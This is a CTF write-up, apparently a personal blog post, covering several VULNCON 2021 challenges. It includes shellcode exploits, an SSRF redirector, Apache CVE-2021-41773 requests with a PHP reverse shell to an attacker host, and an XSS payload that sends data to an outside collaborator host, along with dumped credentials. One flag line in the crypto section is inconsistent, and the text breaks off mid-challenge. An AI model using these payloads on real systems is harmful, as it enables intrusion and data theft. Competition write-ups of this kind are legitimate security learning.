Summary: I played VULNCON CTF 2021 for a couple of hours and solved a few challenges. Here are the quick solutions to the few challenges that were solved.

Final Scoreboard

Here are the final top ten positions. Congratulations to AmpunBangJago, zh3r0, and ARESx!

Final Scoreboard

Misc/Sanity Check

Misc/Sanity Check
DarkArmy
168 solves / 10 points
Here's your flag : VULNCON{g00d_luck_4nd_Have_fun}

Solution

Flag is in the description.

Flag: VULNCON{g00d_luck_4nd_Have_fun}

Crypto/mfine

Crypto/mfine
rey
41 solves / 374 points
In cryptography, a classical cipher is a type of cipher that was used historically but for the most part, has fallen into disuse.

Attachment: challenge file

Solution

The attachment contains the following files:

unzip -l mfine.zip
Archive:  mfine.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      539  11-17-2021 13:17   chal.py
      630  11-17-2021 13:16   cipher.txt
---------                     -------
     1169                     2 files

The chal.py file contains the following simple encryption code:

import random

def encrypt(plaintext):
    ciphertext = ''
    for letter in plaintext:
        i = ALPHA.index(letter)
        c = (a*i + b) % m
        ciphertext += ALPHA[c]
    return ciphertext


ALPHA = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #"
m = len(ALPHA)
a = random.randrange(1, m)
b = random.randrange(1, m)

message = open("message.txt").read().replace('\n', '')
cipher = encrypt(message)

with open("cipher.txt", 'w') as f:
    for i in range(0,len(cipher),64):
        f.write( cipher[i:i+64]+'\n' )

It basically implements the Affine Cipher. The character set length is 41.


In [163]: len("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #")
Out[163]: 41

This means the total number of possible keys is 1681 and is feasibly bruteforceable.

In [164]: pow(41, 2)
Out[164]: 1681

The cipher.txt file contains the encrypted message that we have to decrypt:

RVWA6IIHTWAJH1VWEAH0A6AR 1WAFIA2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VW
EAQVWEWAW6JVAGWRRWEAHTA6TA6G1V6XWRAH0A2611W5ARFAHR0ATD2WEHJAWSDH
#6GWTRAWTJE 1RW5AD0HT4A6A0H21GWA26RVW26RHJ6GAIDTJRHFTA6T5AJFT#WE
RW5AX6JUARFA6AGWRRWEARVWAIG64AIFEA FDAH0A#DGTJFTBM#ME RV9T4OJ8TO
XMOXENUMTO9IO NDO6EMOZ28EROMTND4V_ARVWAIFE2DG6AD0W5A2W6T0ARV6RAW
6JVAGWRRWEAWTJE 1R0ARFAFTWAFRVWEAGWRRWEA6T5AX6JUA646HTA2W6THT4AR
VWAJH1VWEAH0AW00WTRH6GG A6A0R6T56E5A0DX0RHRDRHFTAJH1VWEAQHRVA6AE
DGWA4F#WETHT4AQVHJVAGWRRWEA4FW0ARFAQVHJVA0HTJWARVWA6IIHTWAJH1VWE
AH0A0RHGGA6A2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAHRAHTVWEHR0ARVWAQ
W6UTW00W0AFIARV6RAJG600AFIAJH1VWE0

The solver script to this is given as follows:

#!/usr/bin/env python
# Requires python 3.8+

import itertools


ALPHA = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #"
m = len(ALPHA)


def encrypt(plaintext, a, b):
    ciphertext = ''
    for letter in plaintext:
        i = ALPHA.index(letter)
        c = (a*i + b) % m
        ciphertext += ALPHA[c]
    return ciphertext


def decrypt(ciphertext, a, b):
    plaintext = ''
    inv = pow(a, -1, m)
    for letter in ciphertext:
        i = ALPHA.index(letter)
        p = ((i - b) * inv) % m
        plaintext += ALPHA[p]
    return plaintext


def main():
    ciphertext = open("cipher.txt").read().replace('\n', '')
    print('Ciphertext: {}'.format(ciphertext))
    possible_decrypts = []
    for a, b in itertools.product(range(1, m), range(1, m)):
        plaintext = decrypt(ciphertext, a, b)
        print('Key ({}, {}): {}'.format(a, b, plaintext))
        if 'flag' in plaintext.lower():
            possible_decrypts.append((a, b, plaintext))

    print("\nPossible Decryptions:\n")
    for a, b, plaintext in possible_decrypts:
        print('Key ({}, {}): {}'.format(a, b, plaintext))


if __name__ == '__main__':
    main()

Running the script gives us the following output:

$ python exploit.py
Ciphertext: RVWA6IIHTWAJH1VWEAH0A6AR 1WAFIA2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAQVWEWAW6JVAGWRRWEAHTA6TA6G1V6XWRAH0A2611W5ARFAHR0ATD2WEHJAWSDH#6GWTRAWTJE 1RW5AD0HT4A6A0H21GWA26RVW26RHJ6GAIDTJRHFTA6T5AJFT#WERW5AX6JUARFA6AGWRRWEARVWAIG64AIFEA FDAH0A#DGTJFTBM#ME RV9T4OJ8TOXMOXENUMTO9IO NDO6EMOZ28EROMTND4V_ARVWAIFE2DG6AD0W5A2W6T0ARV6RAW6JVAGWRRWEAWTJE 1R0ARFAFTWAFRVWEAGWRRWEA6T5AX6JUA646HTA2W6THT4ARVWAJH1VWEAH0AW00WTRH6GG A6A0R6T56E5A0DX0RHRDRHFTAJH1VWEAQHRVA6AEDGWA4F#WETHT4AQVHJVAGWRRWEA4FW0ARFAQVHJVA0HTJWARVWA6IIHTWAJH1VWEAH0A0RHGGA6A2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAHRAHTVWEHR0ARVWAQW6UTW00W0AFIARV6RAJG600AFIAJH1VWE0
Key (1, 1): QUV95HHGSV9IG0UVD9G#959Q_0V9EH91ESE5F0U5WVQGI9#CW#QGQCQGES9IG0UVD9PUVDV9V5IU9FVQQVD9GS95S95F0U5WVQ9G#91500V49QE9GQ#9SC1VDGI9VRCG 5FVSQ9VSID_0QV49C#GS3959#G10FV915QUV15QGI5F9HCSIQGES95S49IES VDQV49W5IT9QE959FVQQVD9QUV9HF539HED9_EC9G#9 CFSIESAL LD_QU8S3NI7SNWLNWDMTLSN8HN_MCN5DLNY17DQNLSMC3U}9QUV9HED1CF59C#V491V5S#9QU5Q9V5IU9FVQQVD9VSID_0Q#9QE9ESV9EQUVD9FVQQVD95S49W5IT9535GS91V5SGS39QUV9IG0UVD9G#9V##VSQG5FF_959#Q5S45D49#CW#QGQCQGES9IG0UVD9PGQU959DCFV93E VDSGS39PUGIU9FVQQVD93EV#9QE9PUGIU9#GSIV9QUV95HHGSV9IG0UVD9G#9#QGFF9591ESE5F0U5WVQGI9#CW#QGQCQGES9IG0UVD9GQ9GSUVDGQ#9QUV9PV5TSV##V#9EH9QU5Q9IF5##9EH9IG0UVD#
Key (1, 2): PTU84GGFRU8HF#TUC8F 848P}#U8DG80DRD4E#T4VUPFH8 BV PFPBPFDR8HF#TUC8OTUCU8U4HT8EUPPUC8FR84R84E#T4VUP8F 804##U38PD8FP 8RB0UCFH8UQBF_4EURP8URHC}#PU38B FR2848 F0#EU804PTU04PFH4E8GBRHPFDR84R38HDR_UCPU38V4HS8PD848EUPPUC8PTU8GE428GDC8}DB8F 8_BERHDR9K_KC}PT7R2MH6RMVKMVCLSKRM7GM}LBM4CKMX06CPMKRLB2T{8PTU8GDC0BE48B U380U4R 8PT4P8U4HT8EUPPUC8URHC}#P 8PD8DRU8DPTUC8EUPPUC84R38V4HS8424FR80U4RFR28PTU8HF#TUC8F 8U  URPF4EE}848 P4R34C38 BV PFPBPFDR8HF#TUC8OFPT848CBEU82D_UCRFR28OTFHT8EUPPUC82DU 8PD8OTFHT8 FRHU8PTU84GGFRU8HF#TUC8F 8 PFEE8480DRD4E#T4VUPFH8 BV PFPBPFDR8HF#TUC8FP8FRTUCFP 8PTU8OU4SRU  U 8DG8PT4P8HE4  8DG8HF#TUC
Key (1, 3): OST73FFEQT7GE STB7E_737O{ T7CF7#CQC3D S3UTOEG7_AU_OEOAOECQ7GE STB7NSTBT7T3GS7DTOOTB7EQ73Q73D S3UTO7E_7#3  T27OC7EO_7QA#TBEG7TPAE}3DTQO7TQGB{ OT27A_EQ1737_E# DT7#3OST#3OEG3D7FAQGOECQ73Q27GCQ}TBOT27U3GR7OC737DTOOTB7OST7FD317FCB7{CA7E_7}ADQGCQ8J}JB{OS6Q1LG5QLUJLUBKRJQL6FL{KAL3BJLW#5BOLJQKA1SZ7OST7FCB#AD37A_T27#T3Q_7OS3O7T3GS7DTOOTB7TQGB{ O_7OC7CQT7COSTB7DTOOTB73Q27U3GR7313EQ7#T3QEQ17OST7GE STB7E_7T__TQOE3DD{737_O3Q23B27_AU_OEOAOECQ7GE STB7NEOS737BADT71C}TBQEQ17NSEGS7DTOOTB71CT_7OC7NSEGS7_EQGT7OST73FFEQT7GE STB7E_7_OEDD737#CQC3D S3UTOEG7_AU_OEOAOECQ7GE STB7EO7EQSTBEO_7OST7NT3RQT__T_7CF7OS3O7GD3__7CF7GE STB_
Key (1, 4): NRS62EEDPS6FD_RSA6D}626NZ_S6BE6 BPB2C_R2TSNDF6}9T}NDN9NDBP6FD_RSA6MRSAS6S2FR6CSNNSA6DP62P62C_R2TSN6D}6 2__S16NB6DN}6P9 SADF6SO9D{2CSPN6SPFAZ_NS169}DP0626}D _CS6 2NRS 2NDF2C6E9PFNDBP62P16FBP{SANS16T2FQ6NB626CSNNSA6NRS6EC206EBA6ZB96D}6{9CPFBP7I{IAZNR5P0KF4PKTIKTAJQIPK5EKZJ9K2AIKV 4ANKIPJ90RY6NRS6EBA 9C269}S16 S2P}6NR2N6S2FR6CSNNSA6SPFAZ_N}6NB6BPS6BNRSA6CSNNSA62P16T2FQ6202DP6 S2PDP06NRS6FD_RSA6D}6S}}SPND2CCZ626}N2P12A16}9T}NDN9NDBP6FD_RSA6MDNR626A9CS60B{SAPDP06MRDFR6CSNNSA60BS}6NB6MRDFR6}DPFS6NRS62EEDPS6FD_RSA6D}6}NDCC626 BPB2C_R2TSNDF6}9T}NDN9NDBP6FD_RSA6DN6DPRSADN}6NRS6MS2QPS}}S}6BE6NR2N6FC2}}6BE6FD_RSA}
...
Possible Decryptions:

Key (27, 23): THE AFFINE CIPHER IS A TYPE OF MONOALPHABETIC SUBSTITUTION CIPHER WHERE EACH LETTER IN AN ALPHABET IS MAPPED TO ITS NUMERIC EQUIVALENT ENCRYPTED USING A SIMPLE MATHEMATICAL FUNCTION AND CONVERTED BACK TO A LETTER THE FLAG FOR YOU IS VULNCON{3V3RYTH1NG_C4N_B3_BR0K3N_1F_Y0U_AR3_5M4RT_3N0UGH} THE FORMULA USED MEANS THAT EACH LETTER ENCRYPTS TO ONE OTHER LETTER AND BACK AGAIN MEANING THE CIPHER IS ESSENTIALLY A STANDARD SUBSTITUTION CIPHER WITH A RULE GOVERNING WHICH LETTER GOES TO WHICH SINCE THE AFFINE CIPHER IS STILL A MONOALPHABETIC SUBSTITUTION CIPHER IT INHERITS THE WEAKNESSES OF THAT CLASS OF CIPHERS

Flag: VULNCON{g00d_luck_4nd_Have_fun}

Reverse/Hello World

Reverse/Hello World
1gn1te
31 solves / 412 points
Hello World

Attachment: challenge file

Solution

This reversing challenge is very simple. First, run strings on the binary and look for interesting strings such as GibFlagPlox.

$ strings -a Hello_World.exe
!This program cannot be run in DOS mode.
.text
P`.data
.rdata
`@.pdata
[email protected]
...
Hello World
Hello :
%16s
GibFlagPlox
/.)+$\IvY=
>R4]%8`*0@u@
Argument domain error (DOMAIN)
Argument singularity (SIGN)
Overflow range error (OVERFLOW)
...

Next, run the Windows executable using Wine and supply the interesting string.

$ ./Hello_World.exe
Hello : Application tried to create a window, but no driver could be loaded.
Make sure that your X server is running and that $DISPLAY is set correctly.
err:systray:initialize_systray Could not create tray window
GibFlagPlox
VULNCON{H3110_W0r1D_70_W0r1D_0F_r3V3r51N6}

Flag: VULNCON{H3110_W0r1D_70_W0r1D_0F_r3V3r51N6}

Pwn/More than Shellcoding

Pwn/More than Shellcoding
0w0
12 solves / 472 points
Are you really good at shellcoding...

nc 35.228.15.118 1338

Attachment: challenge file

Solution

This challenge is a basic ‘execute-your-shellcode’ challenge with the following constraints:

  1. The buffer containing the shellcode is set to execute with mprotect. This frustrates polymorphic payloads.
  2. Payloads containing the 0x0f05 sequence is not permitted. This corresponds to syscall.

The following exploit re-uses mprotect in the GOT to set all permissions on the shellcode buffer and then executes a standard encoded execve("/bin/sh") shellcode.

 cat exploit.sh
#!/bin/bash

# Set mprotect rwx preamble.
# mov rdi, 0x69420000
# mov rsi, 0x100
# mov rdx, 0x7
# mov r8, 0x4010f0
# call r8

(python -c 'import sys;from pwn import *;x=b"\x48\xC7\xC7\x00\x00\x42\x69\x48\xC7\xC6\x00\x01\x00\x00\x48\xC7\xC2\x07\x00\x00\x00\x49\xC7\xC0\xF0\x10\x40\x00\x41\xFF\xD0" + encode(asm(pwnlib.shellcraft.amd64.linux.sh(), arch="amd64"), avoid=b"\x0f\x05");sys.stdout.buffer.write(x)'; cat -) | nc 35.228.15.118 1338

Executing the exploit gives us a shell and allows us to get the flag:

$ bash exploit.sh
Are you really good at shellcoding Lets try :
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls -la
total 64
drwxr-xr-x 1 root root  4096 Dec  4 10:09 .
drwxr-xr-x 1 root root  4096 Nov 29 05:47 ..
-rw-r--r-- 1 root root   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 root root  3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 root root   807 Feb 25  2020 .profile
-rwxr-xr-x 1 root root 17128 Nov 26 15:51 chall
-rw-rw-r-- 1 root root    48 Dec  4 06:27 flag
-rwxr-xr-x 1 root root 18744 Nov 29 11:11 ynetd
cat flag
VULNCON{Gu355_u_d0nt_n33d_th3_5y5c4ll_aft3r4ll}

Flag: VULNCON{Gu355_u_d0nt_n33d_th3_5y5c4ll_aft3r4ll}

Web/Site Shot

Web/Site Shot
r3curs1v3_pr0xy
10 solves / 477 points
Recently Elliot got a job as a web developer. He got a project to create a website that converts webpage into image but he don’t know about the web app security and somehow hackers got access to admin panel content running at localhost. As a pentester, we need to find the flaw in the app to see what's running at admin panel.

Link: http://143.244.132.186:3000/

Solution

This challenge involved a website that allowed users to specify a URL to render as a PDF. This essential acts as a way to perform SSRF. However, any address such as 127.0.0.1 or other encoded forms are rejected.

To get around this, we simply use redirect headers on our own server. I simply reused this code snippet:

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

This was invoked with python redirector.py 80 http://127.0.0.1.

The following request was sent to the challenge server to trigger the redirect to localhost.

POST /convert HTTP/1.1
Host: 143.244.132.186:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://143.244.132.186:3000
Connection: close
Referer: http://143.244.132.186:3000/
Upgrade-Insecure-Requests: 1

target=http://attacker.sg.pwn

The resultant PDF document that gets rendered contains:

Welcome back to home admin! Here is your Flag: VULNCON{W3lc0me_b4ck_t0_h0m3}

Flag: VULNCON{W3lc0me_b4ck_t0_h0m3}

Web/Health Portal

Web/Health Portal
r3curs1v3_pr0xy
12 solves / 472 points
I've created a health portal can you find a vulnerability on it

Challenge Link: http://165.232.180.125/

Note : Bruteforcing and running automated tools are not required.

Solution

Making a sample request allows us to the obtain the following server banner:

Server: Apache/2.4.49 (Debian)

This tells us that the instance is vulnerable to CVE-2021-41773.

Making the following request confirms exploitability.

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 139.59.2.201
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 22


echo;whoami;ls -la /

The response yields a directory listing including a flag.txt file owned by root:vulncon along with the output of id indicating that we have code execution as the www-data user. This means that we will have to perform privilege escalation before we can read the flag.

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2021 20:02:50 GMT
Server: Apache/2.4.49 (Debian)
Connection: close
Content-Length: 1632

www-data
total 2136
drwxr-xr-x   1 root root       4096 Dec  4 06:22 .
drwxr-xr-x   1 root root       4096 Dec  4 06:22 ..
-rwxr-xr-x   1 root root          0 Dec  4 06:22 .dockerenv
-rw-r--r--   1 root root    1402156 Nov  6 06:12 apache2-bin_2.4.49-4_amd64.deb
-rw-r--r--   1 root root     159956 Nov  6 06:12 apache2-data_2.4.49-4_all.deb
-rw-r--r--   1 root root     253952 Nov  6 06:12 apache2-utils_2.4.49-4_amd64.deb
-rw-r--r--   1 root root     268632 Nov  6 06:12 apache2_2.4.49-4_amd64.deb
drwxr-xr-x   1 root root       4096 Dec  4 06:21 bin
drwxr-xr-x   2 root root       4096 Aug 22 17:00 boot
drwxr-xr-x   5 root root        340 Dec  4 06:22 dev
-rwxr-xr-x   1 root root         68 Nov  6 06:12 entry.sh
drwxr-xr-x   1 root root       4096 Dec  4 06:22 etc
-r--r-----   1 root vulncon      24 Dec  4 06:21 flag.txt
drwxr-xr-x   1 root root       4096 Dec  4 06:22 home
drwxr-xr-x   1 root root       4096 Dec  1 00:00 lib
drwxr-xr-x   2 root root       4096 Dec  1 00:00 lib64
drwxr-xr-x   2 root root       4096 Dec  1 00:00 media
drwxr-xr-x   2 root root       4096 Dec  1 00:00 mnt
drwxr-xr-x   2 root root       4096 Dec  1 00:00 opt
dr-xr-xr-x 162 root root          0 Dec  4 06:22 proc
drwx------   2 root root       4096 Dec  1 00:00 root
drwxr-xr-x   1 root root       4096 Dec  4 06:22 run
drwxr-xr-x   1 root root       4096 Dec  4 06:21 sbin
drwxr-xr-x   2 root root       4096 Dec  1 00:00 srv
dr-xr-xr-x  13 root root          0 Dec  4 10:45 sys
drwxrwxrwt   1 root root       4096 Dec  4 18:51 tmp
drwxr-xr-x   1 root root       4096 Dec  1 00:00 usr
drwxr-xr-x   1 root root       4096 Dec  4 06:21 var

A reverse shell is obtained with the following payload:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 139.59.2.201
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 132


echo;php -r '$sock=fsockopen("attacker.pwn.sg",1337);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Once we have a shell, we can read the mysql credentials from connection.php. Unfortunately, there is no mysql binary available in the container so we just scp up one and use it to dump the database.

$ /tmp/mysql -h apache_sql -u vulncon -pa8amisa^d8 -h apache_sql -e "use field_data; show tables; select * from login_details"
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_field_data
login_details
id	first_name	last_name	password	email	internal_user
1	John	Doe	Pass123	[email protected]	false
2	alice	alice	123	[email protected]	false
3	boby	bob	rooe	[email protected]	false
4	rock	johnson	3131313	[email protected]	false
5	ronald	duck	recking	[email protected]	false
6	jenny	jen	rolaa	[email protected]	false
7	fish	fight	fishreal	[email protected]	false
8	vulncon	root	jh^sJ9sd	[email protected]	true
9	many	many	many-s	[email protected]	false
10	borish	bob	roled	[email protected]	false
11	rocket	robbin	robitu	[email protected]	false
12	karma	karmait	karma	[email protected]	false
13	dolly	red	dolly	[email protected]	false
14	alice	wonder	alice123#	[email protected]	false
15	ringit	many	ringit#@#	[email protected]	false
16	rahul	re	3232qss	[email protected]	false
17	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	bin:x:2:2:bin:/bin:/usr/sbin/nologin	sys:x:3:3:sys:/dev:/usr/sbin/nologin	sync:x:4:65534:sync:/bin:/bin/sync	games:x:5:60:games:/usr/games:/usr/sbin/nologin
18	lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin	news:x:9:9:news:/var/spool/news:/usr/sbin/nologin	uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin	proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
19	backup:x:34:34:backup:/var/backups:/usr/sbin/nologin	list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin	gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin	nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20	systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin	systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin	systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin	mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false	tss:x:105:111:TPM software stack,,,:/var/lib/tpm:/bin/false
21	messagebus:x:107:113::/nonexistent:/usr/sbin/nologin	redsocks:x:108:114::/var/run/redsocks:/usr/sbin/nologin	rwhod:x:109:65534::/var/spool/rwho:/usr/sbin/nologin	iodine:x:110:65534::/run/iodine:/usr/sbin/nologin	tcpdump:x:111:115::/nonexistent:/usr/sbin/nologin
22	_rpc:x:113:65534::/run/rpcbind:/usr/sbin/nologin	usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin	rtkit:x:115:122:RealtimeKit,,,:/proc:/usr/sbin/nologin	sshd:x:116:65534::/run/sshd:/usr/sbin/nologin	statd:x:117:65534::/var/lib/nfs:/usr/sbin/nologin
23	avahi:x:119:126:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin	stunnel4:x:120:127::/var/run/stunnel4:/usr/sbin/nologin	Debian-snmp:x:121:128::/var/lib/snmp:/bin/false	speech-dispatcher:x:122:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false	sslh:x:123:129::/nonexistent:/usr/sbin/nologin
24	saned:x:125:133::/var/lib/saned:/usr/sbin/nologin	inetsim:x:126:135::/var/lib/inetsim:/usr/sbin/nologin	colord:x:127:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin	geoclue:x:128:137::/var/lib/geoclue:/usr/sbin/nologin	king-phisher:x:129:138::/var/lib/king-phisher:/usr/sbin/nologin
25	kali:x:1000:1000:Devang Solanki,,,:/home/kali:/usr/bin/zsh	systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin	strongswan:x:131:65534::/var/lib/strongswan:/usr/sbin/nologin	nm-openvpn:x:132:141:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin	lightdm:x:133:142:Light Display Manager:/var/lib/lightdm:/bin/false
26	dnsmasq:x:135:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin	libvirt-qemu:x:64055:106:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
$

Now that we have obtained the password to vulncon, we can just su and login as that user before reading the flag.

$ su vulncon
Password: jh^sJ9sd
ls -la
total 4204
drwxrwxrwt 1 root     root        4096 Dec  4 22:20 .
drwxr-xr-x 1 root     root        4096 Dec  4 06:22 ..
-rw-r--r-- 1 www-data www-data       8 Dec  4 19:07 flag.txt
-rwxr-xr-x 1 www-data www-data     250 Dec  4 20:07 fwUzzNz
-rw-r--r-- 1 www-data www-data    9398 Dec  4 20:15 linPE
-rwxr-xr-x 1 www-data www-data  959800 Dec  4 21:41 nc
-rwxr-xr-x 1 www-data www-data 2914424 Dec  4 21:42 ncat
-rw-r--r-- 1 www-data www-data       0 Dec  4 18:51 out
-rwxr-xr-x 1 www-data www-data  375176 Dec  4 22:03 socat
-rw-r--r-- 1 www-data www-data    4404 Dec  4 16:11 typescript
-rwxrwxrwx 1 www-data www-data       3 Dec  4 17:40 vulncon
-rw-r--r-- 1 www-data www-data     154 Dec  4 20:10 x
-rw-r--r-- 1 www-data www-data      12 Dec  4 17:58 yes.sh
cat /flag.txt
VULNCON{cv3_1s_aw3s0m3}

Flag: VULNCON{cv3_1s_aw3s0m3}

Web/Fancy Notes

Web/Fancy Notes
Karma
10 solves / 477 points
Just dont use any fancy js while creating note also you can share your notes with admin too.
PS: Admin note has index 1, maybe interesting to check

Chall Link: http://35.197.213.145:9998/
Report Link: http://35.197.213.145:8081/

Solution

This challenge had an XSS vulnerability when creating notes. The token cookie cannot be easily exfiltrated as it is set with the http-only flag. Additionally, all instances of . in the input is converted to the word FANCY. Thus, we have to write a payload that generates a share link for the message with an ID of 1 as the admin user without the use of . and exfiltrate that link back to us.

The following payload achieves this.

</textarea><script>
var home = new XMLHttpRequest();
home["open"]("GET","/",false);
home["send"](null);
var homee = document["createElement"]("homex");
homee["innerHTML"] = home["responseText"];
var csrf = homee["getElementsByTagName"]("input")[2]["value"];
var share = new XMLHttpRequest();share["open"]("POST","/shareNote",false);
share["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
share["send"]("id=1&csrf_token="+csrf);
var sharee = document["createElement"]("sharex");
sharee["innerHTML"] = share["responseText"];
var msg = sharee["getElementsByTagName"]("script")[0]["firstChild"]["data"];
new Image()["src"]="http://2cfd9esbvqsowgg5bv5sb45gx73xrm!burpcollaborator!net/?q="["replaceAll"]("!","\x2e")+msg;
</script><textarea disabled class="textarea-auto">

Properly encoded, the final POST request to create the malicious note is as follows:

POST /addNotes HTTP/1.1
Host: 35.197.213.145:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 920
Origin: http://35.197.213.145:9998
Connection: close
Referer: http://35.197.213.145:9998/
Cookie: connect.sid=s%3AGFZbNDy_q5gYnTiFU77IvnxRoTovFV7t.BvKBnwfizZzQ48foc6%2BEgq%2FEx6EvRlj20j4vTLtkXLE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1vbiJ9.XR9QBs8gEGD2WZd4yoTv9ivjo5tiFc5tnKQ8cQXrnt4
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

message=</textarea><script>
var+home+%3d+new+XMLHttpRequest()%3b
home["open"]("GET","/",false)%3b
home["send"](null)%3b
var+homee+%3d+document["createElement"]("homex")%3b
homee["innerHTML"]+%3d+home["responseText"]%3b
var+csrf+%3d+homee["getElementsByTagName"]("input")[2]["value"]%3b
var+share+%3d+new+XMLHttpRequest()%3bshare["open"]("POST","/shareNote",false)%3b
share["setRequestHeader"]("Content-type",+"application/x-www-form-urlencoded")%3b
share["send"]("id%3d1%26csrf_token%3d"%2bcsrf)%3b
var+sharee+%3d+document["createElement"]("sharex")%3b
sharee["innerHTML"]+%3d+share["responseText"]%3b
var+msg+%3d+sharee["getElementsByTagName"]("script")[0]["firstChild"]["data"]%3b
new+Image()["src"]%3d"http%3a//2cfd9esbvqsowgg5bv5sb45gx73xrm!burpcollaborator!net/%3fq%3d"["replaceAll"]("!","\x2e")%2bmsg%3b
</script><textarea+disabled+class%3d"textarea-auto">&csrf_token=GFZbNDy_q5gYnTiFU77IvnxRoTovFV7t

Once the admin views the note, a ping back is received and the secret note is shared.

GET /?q=window.location%20=%20%22/viewNote?msg=38da0324534cb65b1e3bed1a41a6d2e6ff62c2f1ea80902d7ebf8654b6db63720b2b0e247e8e2ee7b514f1e6ef7c36fa%22 HTTP/1.1
Host: 2cfd9esbvqsowgg5bv5sb45gx73xrm.burpcollaborator.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4512.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://35.197.213.145:9998/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

We can access the note and grab the flag.

Flag message

Flag: VULNCON{Cha1n1ng_l1k3_4_pr0_or_g0_h0me}

Misc/Play

Misc/Play
rey
9 solves / 479 points
Play with Kirby!

assert len(guess) == len(flag)

nc 34.76.165.98 4545

Solution

Interacting with the service gives us the following interface:

nc 34.76.165.98 4545

 __      __       .__
/  \    /  \ ____ |  |   ____  ____   _____   ____
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/
  \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >
       \/       \/          \/            \/     \/

(>'-')>
Hello! this is Kirby!!! I love to check the spelling of the FLAG!
You have to spell it correctly and you'll win! Good luck!!!

Press ENTER to start...

[?]> 123
Oops!!! Game Over!!!

After playing around with the service a for a bit, we can discover that the flag is 33 characters long.

 nc 34.76.165.98 4545

 __      __       .__
/  \    /  \ ____ |  |   ____  ____   _____   ____
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/
